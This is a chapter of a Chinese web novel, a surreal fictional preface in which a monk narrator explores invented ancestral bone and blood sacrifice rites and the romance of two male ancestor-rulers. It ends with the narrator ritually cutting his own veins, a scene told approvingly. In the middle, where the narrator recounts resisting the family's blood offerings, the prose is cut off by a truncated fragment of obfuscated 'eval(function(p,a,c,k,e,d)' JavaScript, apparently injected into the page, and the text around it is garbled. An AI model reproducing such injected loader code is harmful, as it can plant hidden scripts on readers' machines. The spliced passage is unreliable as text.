《奉皇遗事续编》 1. 序 我深觉撰写本书是个错误。但我的老师有意发表,说做不了学术论文,还能做介绍、说明性的读物;说明读物不够格,姑且可以当一则故事闲谈打发时辰嘛!要知道在发表文章这件事上,学生是无甚表达权的。也请读者诸君多多包涵,或者把它放回书架,拂袖走人了事。 你们肯定想不到,我作这篇文章的初衷是完成一门佛学课程。而我修佛不为其他,只为逃避读书,入寺做个比丘。谁知如今做比丘后不仅要再修学历,最好还要修到硕士研究生以上的学历。所幸,我所入寺庙籍籍无名——我们暂且称呼它做“无名寺”。据说无名寺和我一样,也是半路出家,系某朝某代一座破落娘娘庙改建而成。故而规章制度疏松,对我这一命运共同的半吊子格外宽容,特许我入寺后在本单位修读。 我和诸君共同震惊,但事实如此,无名寺不仅是一处修佛之所,还是一座具有办学资格的宗教院校。鉴于寺中只有一名研究生讲师,又只有我一名具有进修需要的本科生,我俩选无可选,只能凑成一对师生。 我之前自撰了几个选题,譬如《娘娘庙佛宗文化的演变与沿革》《弘斋偈文研究》等,皆被我这位老师大手一挥统统打回。我这位老师生年籍贯不详,南腔北调都在行。据我那德高望重的老主持说,土改时期他入寺做小沙弥时我老师就在寺里诵经,抗战时期他师父还在我老师的带领下下山打探过情报参与过游击,同治末年我老师还给他师父的师父剃头烧香疤哩! 料到诸君定然断我扯谎,随书附上我与老师合影一张,也不知出版社是否刊印。如能见刊,请别误会,左手那位黑框眼镜分外沧桑者正是我,右手边身着百衲衣、容光焕发的年轻僧人,正是我这位德高望重的老师。莫讲吃口唐僧肉长生不老,只怕释迦牟尼佛出家悟道,都是他梦中点化的灵光。亿万年前的孑遗生物,人称活化石;以我老师如此大能,堪称一名“活化僧”。请诸君评理,跟随这样一位活化僧研学,你们敢不敢反驳他的选题? 自然,该题目敲定虽非自发,却的确自由自愿。一日下午,麻雀忽飞忽止,天色要晴不晴,我们一师一生共同组成该论文开题答辩小组,将我个人拟定的论题彻底推翻。这时,我的老师提出一个高深的问题:“你俗家姓什么?” 这个问题后我才真正相信,我的老师是一名大修行者。在我自报家门后,他讲了这样一句话:求果者根柢之物,求解脱者无解脱之物。要找你现在的题目,还是从你的家族史下手吧。 真正叫我敬服的绝不是这样一句玄而又玄的空话,而是这个如诸君所见的崭新论题。“梁秦XXXXXXX”。这至少说明两点: 第一,他一眼就看穿了我和古梁朝两条深远血脉的传承关系,哪怕我户口本上的姓氏是这两个之外的第三者。 第二,也是最关键的一点,他将梁秦一概而论,并列为我的祖上先人。但从存世材料来看,梁秦少有联姻,偶有的几位也无所出,不可能有我这样既属于萧氏又属于秦氏的后代子孙。 我这位青春面庞的老师,显然洞见了我从不外道的家族秘史。 我想我说的足够明白,我不姓萧也不姓秦,但我的确是萧氏和秦氏共同的后人。而这两个姓氏在很古很古的时候,就从弹指一瞬的蜜月时期转换为不死不休的敌对状态,我饮你的血你啖我的肉,你抽我的筋我剥你的皮。我想你们已经猜到,我溯源的这个很古的节点,正是梁昭帝萧恒的执政之年。 此时梁秦之间的分封关系业已崩坏,而萧恒在他的帝王生涯初期,亲手推动大梁帝国和南秦政权迅速闪婚,梁秦之交宛如夫之聘妇,步入空前绝后的殿堂级阶段。直至如今,全天下也没有一双姓萧姓秦的人能像他们一样关系紧密,没有一对姓萧姓秦的夫妻能比他们更如胶似漆。然后,像所有怨侣一样,他们爱情的形态从烈火到血泡到焚成焦炭,他们爱情的品味从美酒到醪糟到脓血一堆,他们从思之如狂到相看两厌,最后碧落黄泉永不见。他们的爱情车轮行驶在历史铁轨上无法脱轨。要么渐行渐远,要么车毁人亡,没有第三条路。两辆长车迎面而行,身体同床共枕般相贴十年,在第一次也是最后一次交尾后鲽离鹣背。 我想说的是,这里的婚姻关系并非比喻义,这正是我家族谱系的秘辛。我是昭帝纪年期间两位萧氏秦氏媾卝和而生的果实的子孙。但年湮代远,这二位祖宗的辈分几不可考,我便按照南北习俗,分别称呼他们为上父上耶。 从称呼可以看出来,这是两位男性。我这两位男性祖宗具有南北各异的文化背景,我们家祭也得遵循一南一北两种风俗。而这二种祭祀风俗最早的可考之史正是这两位祖宗的在位之时。为此,我才耗费诸多口舌,全为研究作一铺叙。 据前人研究可知,古梁朝中原皇室的最高规格祭礼当数骨祭,以南秦为代表的一众诸侯国则推尊血祭,这与传至当代的祭祀风俗截然不同。故以相关史料为本,旁采我二位祖宗的轶事传闻,作为资料补充。 我上父早年飘零,族系难以考证,但他青年时期入主长安,作为梁天子继承了中原那一套祭祀礼仪系统,当然,也有删削之用。在这件事上,我的家族故事和当代学界观点有所出入。 各位学者一致认为,废除骨祭的主导人是梁明帝萧玠,即我上父名义上的独生子。上父既是我的一位老祖宗,这么算来,梁明帝就是一位小老祖宗。但据我母亲所述,这件事真正的操刀者还是小老祖宗他爹本人。 上父之前的历任梁皇帝墓室皆出土了数十至百具不等的人骨。不能确定是生殉还是赐死,但无疑都作为奴仆随葬,以期在死后继续服侍墓主。从这里可以看出,梁王室坚信世间存在一个亡灵国度,人死后可以像生前一样过活,并获得永生。但大伙知道,我上父是第一位提出废帝制的皇帝,说明他那颗封建君主的脑袋里一定闪烁着千百年后另一种主义的蓝色幽光,剥削完活人再剥削死人的路在他这里走不通。另外,他还是一名坚定的无神论者。虽然他因皇帝身份参与过海量的祭祀,但我知道在他心中,没有一刻指望上帝来禳解苦痛。 此外,在梁王朝的宗室祭祀文化里,人骨器具还具有沟通生死的效用。梁民固有观念里,骨是人体最具性灵的部位,是灵魂附生之根——写到这里,我突然想起我家那位德高望重的八老太爷,按理说他也是我上父的重子玄孙,却常常对上父大加批判。后来我翻查族谱,发现八老太爷并非萧氏衍生的稀疏枝叶,而是秦氏结出丰硕果实。 到这里,或许你们要问,既然我上父上耶犯罪结合,又是怎么叫两个姓氏各表一枝?这个中故事,就是梁明帝我那小老祖宗那一代的全新隐秘了。总之,国家大事,在祀与戎。我这位秦氏支流的八老太爷一直坚信,上父破坏掉中原王朝的祭祀制度,天神因此动怒不再赐福大梁帝国,这才是梁天子最终失落的根本,而非我上父五代以来雷厉风行的政治手段。同时,八老太爷也是我们家族唯一一个保存人骨祭器的异人。他和上父第六代不肖子孙一样,对复活上父扼杀掉的吃人毒苗兴趣勃然。 那是一只头盖骨酒具,我眼见过八老太爷用它祭祀。我钻进他拉紧窗帘的铁皮房子,看他点燃三炷缠头香,青烟缭绕里他起开一瓶张裕葡萄酒,最好是干红。他无比虔诚,捧起酒瓶如同基卝督卝徒手捧圣杯。一脉酒液飞泻,我眼看那骷髅漆黑眼洞中闪烁红光。它——TA盯着我我盯着TA。我在TA古老的漆黑眼眶中看到我古老祖宗的血红目光。他们透过血脉和火焰谛视我。火焰通过我眼动脉的血管流淌,滋啦燃烧我眼部的骨腔。 这是一场跨越时空的神圣的通感。我在这几近眼盲的疼痛中短暂捕获了我祖宗们血红的视觉。无数血红影像如同飞红,在我眼前纷飞变幻。我几乎一瞬间就认出了我未曾谋面的上父的脸。他流下红泪,飞溅的泪水把脸切割成碎片。一轮古得发黄的红月亮泊在天边,天空下,红泥沼静如湖面,上父的双脚从泥里长出来,像趟着一地血。八老太爷念咒了。哈利路亚。圣父圣子圣灵。唵嘛呢叭弥吽。大慈悲无量光明王。上父从泥里拔出刀。他握刀刃,刀柄拉出另一个人。另一个人满脸月光如满脸血痕。他凝视上父上父凝视他。他抬起脚步,红泥开出白莲花。大慈悲无量光明王。大慈悲观世音菩萨。八老太爷越来越遥远的祝颂声从血管里传来,和我的血液一起在鼓膜边进进退退,潮起潮落。人头骨杯滴溜溜旋转,豁开的嘴部骨骼吞咽起来。天上月光红起来。杯中红酒矮下去。他们嘴唇靠近。红泥越涨越高双脚越陷越深。南无南无。阿弥陀佛。他们胶得像两株藤萝拧得像两条蛇。月中桂树崩坼楼阁陷落。男人腹腔结出血淋淋一颗红果。南无南无阿弥陀佛。两个人四片嘴唇啃噬厮磨,血液的芬芳从缝隙滴落,红泥沼上溅起洁白水花洁白莲花朵朵。八老太爷如同祝佛: 两个渴人在沙漠,两条游鱼在辙,两条命有一条活。两个必死一个。两个必死一个。 辙印逐渐干涸。两鱼相濡血沫。一人切开血管喂另一渴人喝。两条命有一条活。 两个必死一个。 咒下月光下,上父看向我,穿过骷髅漆黑眼窝看向我。黑色眼光里红光闪烁。八老太爷手舞足蹈,颂声嘹亮。头骨杯越转越快,酒液四溅如同血浆。每一滴酒都是一滴倒映未来缩影的透视镜。上父在千百年后的透视镜里看到他数年之后的未来: 鱼儿召来大水。大水冲散血沫。两条鱼一入湖海一进江河。 一个人夺过匕首,逼放血人的颈脖。匕首把道路和半条命一起割破。 头骨头骨头骨转动。南无南无阿弥陀佛。只有上父知道骷髅看到什么。不包括八老太爷也不包括我。 我只是注视。我注视那只酒杯那只骷髅那只人头。骷髅喝干它脑中红酒。我看TA脸上重生血肉。我期待TA到底是我哪位祖宗。 突然之间,窗帘哗地拉开,铁屋子里银光大烁。八老太爷放下头骨,拿空掉的红酒瓶咚咚敲击香案,厉声呵斥道:“你跑来干什么!” 我登时跑离房间,八老太爷的酒瓶底和拐杖头没能追得上我。我隐约觉察,那枚头骨与我家族如瓜如藤的错综关系。经过我多番探查追踪,大概率能敲定,那是一位我无血缘却如同祖宗的祖宗。 我相信诸君一定听过李寒大名。哪怕21世纪的李寒籍籍无名。但在很古很古的我上父的执政纪年里,李寒之于梁帝国,如同《关雎》之于《诗三百》,二战里的斯大林格勒。而我如今产生的怀疑,是我八老太爷正把斯大林格勒摆在香案香烟里。我怀疑那只头骨正是这位李文正公祖宗的智慧脑壳。 我的猜测并非空穴来风,它源于不久前的一个场景。八老太爷多次因人骨祭器被族中呵斥,最后一次手捧骨酒杯冷笑连连:“只怕萧恒(他从来直呼上父大名)自己没少用过这玩意呢!” 终于,会议因八老太爷诽谤祖宗不欢而散。但我有一种直觉,八老太爷脱口的怨恨并非全无真相。那时我第一次和头骨对视,TA眼中如□□蛇,嘶嘶吐出的芯子闪烁红光。我心领神会,那或许就是圣贤曾经智慧脑浆的光芒。 我们家族称呼李寒,一概叫他做李圣贤。一半人是心服一半人是嘲讽。一半人说他是背师证道一半人说他是离经叛道。以我所掌握的资料和我的头脑,实在不足以对他加以评判。故求同存异,取一个中性词色彩,管他美名骂名,姑且也呼他“李圣贤”是也。 这位李圣贤和我上父的关系,就是比喻义上的夫之与妇。别误会,经我国源远流长的文化长河灌溉,香草美人已茁壮成长为一大意象体系,拿两口子比上下级的例子多如牛毛。屈原尚被众女嫉其蛾眉弯弯,曹植都写了“妾若浊水泥”,人家和上司还是亲兄弟!这么看来,李圣贤和我上父就算是夫妻,也是极其纯洁的精神夫妻关系。只从人性来讲,由奢入俭难,和我上耶结成肉卝体上的伴侣关系后,我相信上父再难从任何一个人身上找到这种震撼人心的七情六欲。 据我母亲所述,上父在奉皇末年对李圣贤的追怀几乎到了“忧思成疾疢”的地步,八老太爷认为上父监守自盗动用骨祭应当也是这个出处。若非凭借人骨,上父哪怕位登大宝也不过凡胎□□,哪里获得这沟通生死的神异之能呢? 我母亲说,上父甚至与死后的李圣贤有一次秘密会面,并宛如魂灵附身,录下李圣贤鬼魂所拟《水调歌头》一阕。根据我对上父文化程度的了解,这确非出自他手。答案只有一个。 我需要一点切实的证据。 为此,我又潜入那座铁屋子一次,这次屋中只有我和那只头盖骨杯两个人。我拉紧窗帘,屋中透不进一缕阳光,黑暗中满屋铁光森森。我转过头和十有八九是李圣贤的头骨对视。这次李圣贤十有八九的脑壳里没有酒,眼中不是鲜活的红光而是死亡的黑光。我抬手抚摸他,疑惑他婴儿般狭小洁白的脑壳里是怎么点燃核火球般几千万度炽热的思想之火的,他深邃无物的眼窝又是如何在封建君主制的鼎盛时期跨越资本主义冰层视察到另一主义火种的。我甚至怀疑他生命存在的可信度,或许他就是个幽灵,诞生于距今一百七十余年前、顺历史坐标轴逆行而去,又在大梁朝李寒身上借尸还魂的那个幽灵。 我触碰到他的一瞬,我皮肉下的头盖骨如受感召。我的头盖骨看着他的头盖骨生出皮肉。我看清他面貌的前一瞬天地翻转。香烛香案咔咔震动。铁皮房子隆隆作响。那颗头骨酒杯活泼泼地原地起跳。我的头盖骨带着我的身体追随我的头骨祖宗一起原地起跳。跳过房顶跳过天际跳过白云跳过飞鸟,太阳月亮就在眼前,太阳在左眼月亮在右眼。头骨古怪作笑,一时天地颠倒。太阳铁火花般沸落,月亮马蹄铁般摇簸,云层老得像棉絮撕破,一瞬之间千年万载都穿过。头骨祖宗飞速下坠时我的头骨也飞速下坠,我听见砰然落地声,抬眼眼前已经没有头骨变成人。身穿古代衣装头梳古代发髻的人。我血脉的直觉告诉我,这是我一位有血缘的祖宗。看他的帝王冠冕和格格不入的刺客气质,我明白这一刻我拜谒了传说中上父的真颜。但他比我母亲的描述要苍老孱弱。我也就明白,我到达的并非他身体和功绩的真金白银岁月,而是生命力和精神力极速消逝的破铜烂铁年代。头骨李圣贤指引我这个头骨不肖子孙穿梭历史管道,骨碌碌滚到亿万岔口之一的我上父与他死后相见的节点。 上父看着李圣贤李圣贤看着上父,上父的头骨感应李圣贤的头骨李圣贤的头骨吸引上父的头骨。在这个时间点我尚未出生,那我就是死的。我死去的头骨聆听他们两颗正活着的头骨跨越生死的交流。 我看到蓝色泪水从我上父眼中溢出,他开始同李圣贤说梦。他一连说了三个梦境,三个梦境都有关死和生。“To be or not to be”,我上父在这一刻变成这本书里的汉姆雷特。 李圣贤问:“倒数第三个梦是什么?” 我上父说:“倒数第三个梦是味觉。我尝到蜂蜜,然后被割破舌头。鲜血流满我整个口腔,我却不舍得吐掉那蜂蜜一口。我被腥甜之味淹没,蜂蜜做了我的血床。” 李圣贤说:“刀口舐蜜,是财色。” 我上父说:“我一穷二白。” 李圣贤斩钉截铁,“你没贪过色吗?” 我上父的头骨闭上牙齿。 哐当哐当作响,李圣贤手中龟甲摇晃。李圣贤问:“倒数第二个梦是什么?” 我上父说:“倒数第二个梦是视觉。我变成一个潜心求佛者,终于到达阿耨达池畔,在金沙里看到清波如镜。我想要看一看自己的倒影,却有一只手搅动池水,我什么都看不清。” 李圣贤说:“心中浊兴,是爱欲。”* 我上父牙齿微动,算是默许。 李圣贤肯定道:“你的爱还没死。” 我上父不语。 哐当哐当作响,李圣贤手中龟甲摇晃。李圣贤问:“倒数第一个梦是什么?” 我上父不答,目光闪烁。 李圣贤说:“倒数第一个梦是春梦。” 我上父叹道: “我梦见我在冰天雪地和一团火焰交合。 火焰把我烧成木炭。我把火焰变成毒蛇。 毒蛇把我缠成藤萝。我在毒蛇身上开出莲花朵朵。 火焰再烧我会成灰。毒蛇再攀我会枯萎。 毒蛇为我拔掉毒牙。火焰为我熄灭光热。 毒蛇身后出现一条更毒的蛇叫局势。 火焰身后燃起一把更热的火叫历史。 火焰即将被历史焚没。毒蛇即将被局势吞吃。 我用冷水泼洒火焰。我用雄黄驱赶毒蛇。 火焰没舍得烧我的双手但熄灭,我又变回那冰窟中的炭灰。 毒蛇没舍得咬我的咽喉但绞碎莲花,我又变回那枯萎的藤萝。 火焰毒蛇从此安全,毒蛇火焰离开了我。 这是我的所求所得,也是我的自食其果。” 李圣贤嘴部骨骼一张一合:“你并不需要我解什么梦,你只想听我确定你说的。” 李圣贤说: “我死去的眼睛看到: 你的爱情死去,你的志向复活。 你活着的志向驱你赴死,你死去的爱情支撑你活。 你以为死去的爱情其实活着。 你以为活着的志向在千百年后才活。” 我上父问:“你没在我的志向里看到你吗?” 李圣贤说:“我的眼睛在你的眼窝。” 听完这句话,我上父的头骨咯咯转动,猛然冲向我,眼球宛如枪口中的准星,越过真相幻相瞄准我的眼眶。砰砰两声,我上父目光射出宛如开枪。我的头骨受到这无形子弹的剧烈冲撞,连带我的肉卝体滚回管道重新掉落在铁皮屋的地上。我抬头,那颗洁白的祖宗头骨正笑吟吟看我。 这就是我上父和这颗头骨的全部联络。 诸君可能和我一样纳闷,这段历史轶闻里,人骨作为小说三要素之一而非祭器存在。难道我八老太爷控诉上父骨祭的言辞凿凿只是扯谎吗?但我眼见为实,我上父的确无需凭借祭品就获得了沟通生死的能力,那篇是他字迹却非他手笔的《水调歌头》正是铁证之一。他们确然发生了对话,而且是不需要第二媒介的直接对话。 只有亡灵能和亡灵对话。 我心中生起一个大胆的猜疑。 我当时活着的上父是早已死去,还是从未活过? 为了验证这个猜想,我准备采取互证之法,暂放我北方祖宗的骨祭研究,转向我南方祖宗的血祭传统。 与上父的谱系不详不同,我上耶则是地地道道的南方种子,归功于南秦王室严格的宗族体系,他这一支血脉几乎能够溯源到奴隶社会时期。姓秦的每一代都是奴隶主、大贵族、剥削阶级,每一代都吃脂膏烹煮的佳肴,穿鲜血染红的锦衣。我上耶正是从数代民脂民膏的积淀里盛开出的火树银花。从这里可以看出,他和我哪怕变成封建主也试图自杀来推翻封建主的上父道路悬殊。我相信我家族每个人都疑惑过他们两个是如何结合,就像疑惑水火如何缠绵、鱼鸟如何交颈一样。而我上耶一生中有关血祭的记载,无可避免,和我上父息息相关。 我母亲多次讲到我上耶穿耳请神的事迹,讲到他妆扮南秦司战女神灵妃衣冠赎求生死的故事。每至此处,我母亲眼中总有蓝色泪光闪动。后来我才得知,男性穿耳是秦地男娼约定俗成的标志,加上我上耶少年时期那些不怎么光彩的花边历史,这件事的重大意义已经远逾血祭本身。那对耳坠至今仍安置在我家族代代相传的檀木盒子里,逢年过节和那只头骨酒杯一起接受香薰火燎和无数后人顶礼膜拜。 我母亲对述说那双耳坠当年的光艳明亮乐此不疲,像她亲眼看到上耶将它戴在耳上。这也是我母亲在这个故事里第一次提到血——我上耶没有先用冰块冷敷耳朵、黄豆捻薄耳垂,他拾起一只耳坠,金色耳钩像蝎子的金色毒刺。我看见我上耶手指一动,耳钩蛰穿耳朵肉,黄豆大的血珠包裹黄豆大的叶状流苏,如后羿射落的太阳血雨灌溉一株扶桑金树。我在那汩汩流淌的鲜血里看到他的苍白脸孔,带着微笑,像个金乌。那是金蝎子钩导致的幻觉。母亲说那双金耳钩带着毒。我上耶不管不顾地穿耳请神,是把唯一的解药喂到我上父嘴里。难道不是吗?这不是他第一次干这种事了。 我想这真是一双神奇的金蝎子。紧接着,金色毒素如同电流,一瞬间遍布我上耶全身,中毒的酥麻感宛如一次性卝爱卝高卝潮。我上耶中毒的嘴唇甜如蜜糖,中毒的脸庞红晕荡漾。我确信这蝎毒带给他的不是痛苦是幸福。母亲流着蓝色泪水讲述他每日每夜割腕放血,我却看到那血碗里闪烁的玫瑰红光。那是死亡的酒精和生命的蜜酿。 我听到上耶双手合十,虔诚祝颂道:“大慈悲无量光明王。” 一瞬间,血碗闪烁金华,烛火鼓动金光。我在我母亲有意无意遗落的片段里看到我上父宛如尸首的身体。碗中血红一点一点矮下去,上父脑中血红一点一点涨起来。我突然产生疑惑,我上耶的血究竟是作为祭品献给神明,还是作为生命哺给上父? 在这之后,我去阁楼查访家族藏书,只在我上耶的继承人秦寄手记里发现蛛丝马迹。自然,按辈分算,秦寄也是我的一位小老祖宗,作为上耶的秦氏儿子,他和上父的萧姓家族有着千丝万缕的联系,并在遇到我那位梁明帝小老祖宗时缠绕出新的瓜蒂。秦寄手记被束之高阁,等我翻找出来,封皮已落满积灰,保存还算完整。我打开第一页就明白家族为什么对它讳莫如深。 这是一本手记。 也是一本杀人计划。 我这位姓秦的小老祖宗为我上父规划了N次谋杀。(N≥3) 整本使用秦篆书写,这种字体在我高祖年代就已经失传。手记从前到后字迹变化不小,我猜测该计划至少从秦寄小老祖宗的童年贯彻到他的少年时代。在他所处年代,通用字早就普及,秦篆多用于祭祀祷告,那这本篆体手记或许还有通神诅咒之能。如果我认识这遗佚多年的古老字迹,我会立即发现里面最重要的两句: 剜其心肝,佐酒阿耶。 取其生血,敬飨父母。 我从母亲口中得知,古秦地的称谓和现在不同,“父母”是对光明神暗神夫妻的特定敬称。结合上文,我这位小老祖宗试图刺杀我上父,并用他的鲜血祭祀光明神夫妇。由此可见,除却沟通神灵的用途外,在南秦人血还作为祭品向神明供奉。 根据我母亲所述,南秦政权类似于高等巫族部落,算一个政教合一的宗教诸侯国。光明神信仰甚至先于政权存在,不只是一种心理归服,甚至架构了家家户户的家庭伦理关系,比亲爹亲妈都要道高一丈,姑且算作亲爷亲姥。就算爷姥要打爹妈,估计儿子孙子也不敢吱声。一代人有一代人之爷姥,这两口子却是代代人之亲爷亲姥。但供奉亲爷亲姥居然要用子孙的血,这令我大为不解。 是的,我们沿袭南方祖宗的祭祀传统时仍要放血供奉,我为此大为抗议,还闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我被八老太爷做牲口的理直气壮弄得哑口无言,只得拿史料反驳——这位受人尊敬的秦寄小老祖宗还曾经动过废除血祭的念头呢! 我眼看八老太爷脸皮变幻青白,像一只氧化过半的绿皮苹果。 无可狡辩,这位姓秦的小老祖宗的光辉事迹或者说卑劣丑闻被正史和我们家族史共同记录在案。都说不孝有三无后为大,在我南方祖宗制定的规则里,拒绝血祭是远大过无后的罪状。我看到某年某月日的一座铁皮房子里,秦寄小老祖宗站在和我今年今月日相同的位置。我血管里他的血液开始尖叫,不知道是呐喊还是叫好。某年某月日的一只漆盘端上前,里面虎头匕首的熠熠银光如同今年今月日我眼前水果刀的森森冷光。 傻x。我的声音从秦寄小老祖宗嘴里啐出来。他把虎头匕首夺下掼在地上。那座雄伟巍峨的铁皮房子突发心脏病般剧烈摇撼起来,连带神龛里从彼时就供奉直至今日的光明神大像也微微颤抖。 政权继承人改变信仰的后果是极可怖的,历史知道我这位小老祖宗惊世骇俗的做派掀起了一场声势浩大的废储风波。当然,没有废成。不然他就是我们家族唾弃的逆子杂种而不是我尊敬的小老祖宗。在他少年时代的某一个年头,他突然改变口风,宣布以南秦储君的身份继续供奉光明宗。就像我们不知道他怎么产生废除血祭的念头一样,我们也无从寻找帮助他观念的螺丝旋转方向的那根扳手。我只知道,这件事发生在他入梁为质的岁月,他和他的刺杀对象低头不见抬头见,并与他同树而出但异地栽培的果子长期置于一个培养基,他新鲜他腐烂他们相同又不同的果实香味发酵出一系列化学反应,完成并延续了从父辈开始纠缠的链式。 八老太爷愤怒地敲击拐杖,向我父亲大声喊:“这就是你养的好儿子!” 砰砰作响的拐杖底像夯在我父亲头盖骨上,我父亲缩着脖子一声不吭。 我说:“八老太爷,讲讲道理,他们北方的血祭用牲口,牲口是祭品。我们家里人也是祭品吗?我们信仰的光明神是要喝子孙鲜血的邪神吗?” 我这句话脱口后铁皮房子停止晃动。所有人静下来,他们茂密血管下的头骨一起转向我。他们所有人的眼窝里都射出如同头骨酒杯的血红光芒。 一片死一样的肃穆里,我听见八老太爷奇怪的笑声,他全然疑惑般地问我:“为什么不呢?” 为什么不呢? 为什么不呢! 我父亲看我我母亲看我。铁皮房子里所有灵位看我。八老太爷手里的头盖骨酒杯看我。血液血液淹没我。头骨头骨谛视我。我的骨和我的血撕碎我。 我开始真正复盘我南北两支家祭传统,或者说与传统息息相关的我上父上耶本身。我上父无需凭借外物就能沟通亡灵的能力,证明他确乎是个死人至少不是活人。我上耶割血喂养光明神的行为是把自己献祭成最尊贵的人牲,控诉那对神明的父母不像圣神像邪神。 一个没有活过但又不是死人的人是什么人。 一尊保佑儿女但又吸血儿女的神是什么神。 是生是死是死是生。 是无是有是有是无。 骨祭血祭血祭骨祭。 一枚闪电的灵光穿透我骨点燃我血。 我问:“为什么没有肉呢?” 一瞬间所有人的表情狰狞起来。 铁皮房子隆隆作响,我浑身骨头和房屋结构同一振幅震动,我浑身鲜血和杯中红酒同一沸点翻腾。我被骨和血的灵光打碎又拼凑。我是那座有骨有血没有肉的空膛房屋。八老太爷的疑问在耳边盘旋。我的困惑在脑中激荡。为什么不呢为什么不呢。为什么没有肉呢。为——什——么——没——有——肉——呢—— 肉像是真相之门的一把钥匙。握住钥匙柄时我开始怀疑,骨祭血祭是两个杜撰出的风俗,梁朝秦地是两个杜撰出的政权,我的上父上耶是两个杜撰出的祖宗,我生于这杜撰的骨血长于这杜撰的土地,更是彻彻底底的杜撰之人!我们家族诞生于一个男人杜撰的子宫,并一代一代无止无休地杜撰下去。无生无死只有杜撰。无有无无只有杜撰。杜撰是存在和不存在共同存在的圣卝经,是真相和谎言共同成真的铁证。 不信不信我不信。我耳边又响起八老太爷的祝祷声音。大慈悲光明王。唵嘛呢叭弥吽。头骨杯中血浆又满,酒光般烤红铁屋。血红月亮拔地而起,血红泥沼应声而落。TA漆黑眼窝里我两个血红祖宗席地交合。他们身上身下开遍莲花朵朵。上父上耶亲吻上耶上父抚摸。藤萝啊藤萝毒蛇啊毒蛇。我看血红月光彻底将他们吞没。世界陷入天地阴阳大乐赋的狂歌。有人要问性圌爱算孽算福还是算什么。性圌爱是一种血被骨割,也是一种石被刀磨。生命就是生和死性圌爱所得的果。爱到窒息的性圌爱更像恨到入骨的你死我活。头骨头骨头骨转动。南无南无阿弥陀佛。观世音菩萨流下泥泪。光明王神像倒落莲座。水火也缠绵鱼鸟也交合。新的红线如同脐带结着恶果。无一诞生我。无一不是我。 头骨再次转动。八老太爷再次念佛,不像祷告像驱魔。铁皮屋子铁片作响,头骨酒杯骨头欲破。天地崩坼世界崩坼整颗心脏都崩坼。上父推开上耶时满脸冷漠。一如母亲的子宫推开我。他剪断那条脐带时血泪滚落。我小老祖宗的鲜血汩汩成河。旧的红泥干涸,血溉注新沼泽。南无南无阿弥陀佛。我的头骨祖宗谛视我。 我眼看TA飞脱八老太爷的手,同时案上檀木盒因铁屋剧烈摇动打翻在地,一双金耳坠凌空一跃。他们在半空相遇,头骨落在香案,耳坠落在头骨眼窝,像一双金蝎钻出两个历史的黑洞。这样划时代的相逢里,案上迸发一缕青烟,飘渺烟气里响起无声梵乐,我眼看皮肉花瓣般覆满头骨骨骼。 我的骨谛视我我的血谛视我。 我同骨同血的祖宗谛视我。 我终于明白八老太爷所谓“我上父动用骨祭”的冷笑是什么。 我杜撰的上父拿住头盖骨说,TA不是李寒。 TA就是我。 这个故事没有尾声,但我的确在此划下休止符,因为我还有论题要做。我必须要请教我的老师,以严肃正直的学术态度声明,如果研究对象是确凿的杜撰,那我这篇《梁秦骨血祭祀文化考》是无论如何也做不下去了。 我的老师不愧是一位大修行者,二话没说,只把一部书作为参考书目推荐给我。我拿来一看,对作者的真实性产生质疑。老师说:“你可以再仔细读一读它的序篇。”后来它作为补充文献被我收入附录(见文末),并原书所题《青玉案》一篇,勉强作为该纪年人物存在之佐证,虽不过聊胜于无而已。 纵使我疑心,这一切都是我老师鼓励我做出这篇文章的安慰之辞,但无论如何,该论题还是圆满结束。其中颇多艰难,多谢老师弘斋的教诲帮助。我的精神一度陷入混乱状态,用尽浑身解数仍无法继续这个题目研究,多亏我的老师提醒,实践是检验真理的唯一标准。于是在一个风和月丽的午夜,我采取模拟巫术的研究途径亲身体验了骨祭和血祭仪式。 凌晨零点,冰月凉雾,星辉满天,我走进铁皮屋子拉紧窗帘。香案上,我上父的头骨和我上耶的耳坠相依相偎,生死不分。这次我没在上父的眼中看到红光,就像没在上耶的耳上看到毒蝎。我只看到一双无形的手相握相连。突然之间,一种宏大平和的气氛将我包裹,或许这就是毒蛇藤蔓上身、莲花开遍七窍的感觉。我如同麻醉,心悦诚服地切开血管。也就是这一刻,我在古梁代骨祭仪式里发现类似南方血祭的影子。或许骨血总是密不可分。 我眼前,那轮血红月亮再度升起,洁白莲花盛开遍地。我的双足在很古时候的红泥沼中生长而出,我如同漂浮在汪洋大泽中的一片莲叶。我面前,我上父上耶并肩而立,他们相顾良久,目光交融宛如十指相扣。莲花并蒂的芬芳里,他们执起手,涉水走向明月尽头。 我立在远处,作为他们葬礼的牧师和婚礼的神父。作为他们一百余升之一的血和四百余块之一的骨。 他们必定、一定、注定要死去。 他们注定、一定、必定要重生。 借我的骨、我的血,我复苏的□□和死去的大脑。 是他的筋、他的根,他萎缩的躯壳和不朽的魂灵。 今按上北下南之礼,惟取我最上之头盖骨,祭奠我北方的列祖;取我最下之脚趾血,祭奠我南方的列宗。如果他们确乎真实,伏愿真实处仍有幸福遗留。倘若他们本系杜撰,伏愿杜撰出一个天长地久。 我向着月光呼唤尚飨,月亮脸上血色消褪,宛如新镜。我脚下泥沼渐渐澄清,如同红冰。天尽头,两人身影渐远,被月光模糊形状,最后的最后,像洁白的帆船一艘。 我目送那艘白船远去,渡过一条血色河流。 附录一·《青玉案》 春深是处疑无地?似行色、匆匆曳。可叹孤鸿虽识字。奉皇遗笔,怎堪传递,云外三千里。 旧时风露今朝坠,好日如瓷掌中脆。只恐春归门掩闭。未知流水,倏然东逝,挽取春无计。 附录二·《奉皇遗事续编序》 余形虽没,神未淹灭,洞察鸟兽草木之听,遍识宗庙野泽之事。存乎万物,辗转天地,自我去后,迩来百千世矣。一日,闻闾里歌奉皇遗曲,不由涕下沾襟。转视绮颜玉貌,悉成灰土;舞榭歌台,俱化烟尘;王图霸业,尽付谈笑;壮志冰心,逐水东去。独昭帝明公之情事,未识于文字,亦亡乎史笔,然万岁千秋,未尝纤毫磨灭矣!虽证无媒妁,名无婚姻,然情逾骨肉,分越夫妻,往古来今,未有伦比。方知我辈情钟,实非前人妄言耳。余慨孔雀分飞,心有戚戚,故拾掇旧曲,敷演文字,叙二人离合故事。继《元和》《玉升》后,复录《奉皇》《续编》两卷。个中异闻,难考虚实,故无删改,亦少依傍,间或谑语、妄语、怨怼语、诽谤语、无出处语、不雅驯语,空撰与否,见仁见智。离人鬼话,不足为佐史之资也。诚以荒唐之言,聊供诸君一笑。某年某月日,李寒拜天敬撰。 2. 第 2 章 